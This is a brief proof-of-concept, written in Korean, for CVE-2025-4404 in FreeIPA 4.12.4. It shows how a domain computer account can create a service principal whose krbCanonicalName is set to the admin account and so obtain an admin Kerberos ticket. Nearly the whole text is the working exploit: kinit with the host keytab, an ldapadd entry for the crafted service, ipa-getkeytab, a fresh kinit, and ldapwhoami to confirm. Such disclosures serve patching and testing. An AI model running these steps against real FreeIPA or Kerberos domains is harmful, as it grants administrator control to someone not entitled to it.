
POC for CVE-2025-4404
CVE-2025-4404에 대한 POC
도메인 컴퓨터 계정(host/pc1.[email protected])이 있다면, 기본적으로 서비스를 추가할 수 있습니다. 그리고 krbPrincipalName과 krbCanonicalName을 설정할 수 있습니다. 기본적으로 FreeIPA 4.12.4 관리자 계정에는 krbCanonicalName 속성 값이 없습니다. krbPrincipalName 값을 사용하여 Kerberos 티켓을 요청할 수 있지만, 티켓에는 krbCanonicalName 값이 포함됩니다.
시작해 봅시다.
먼저, 컴퓨터 계정을 대신하여 티켓을 요청합니다:
$ kinit host/[email protected] -k -t /etc/krb5.keytab
LDAP 서비스 계정 추가:
$ ldapadd -H ldap://dc1.test.local
dn: krbprincipalname=test/[email protected],cn=services,cn=accounts,dc=test,dc=local
ipaKrbPrincipalAlias: test/[email protected]
krbPrincipalName: test/[email protected]
objectClass: ipaKrbPrincipal
objectClass: ipaObject
objectClass: ipaService
objectClass: krbPrincipal
objectClass: krbPrincipalAux
objectClass: top
krbCanonicalName: [email protected]
managedBy: fqdn=pc1.test.local,cn=computers,cn=accounts,dc=test,dc=local
$ ipa-getkeytab -p test/[email protected] -k ./test.keytab --mech=GSSAPI
$ kdestroy -A
$ kinit --no-request-pac -k -t ./test.keytab test/[email protected]PWN!!!
다음 명령어로 티켓을 확인할 수 있습니다:
ldapwhoami -H ldap://dc1.test.local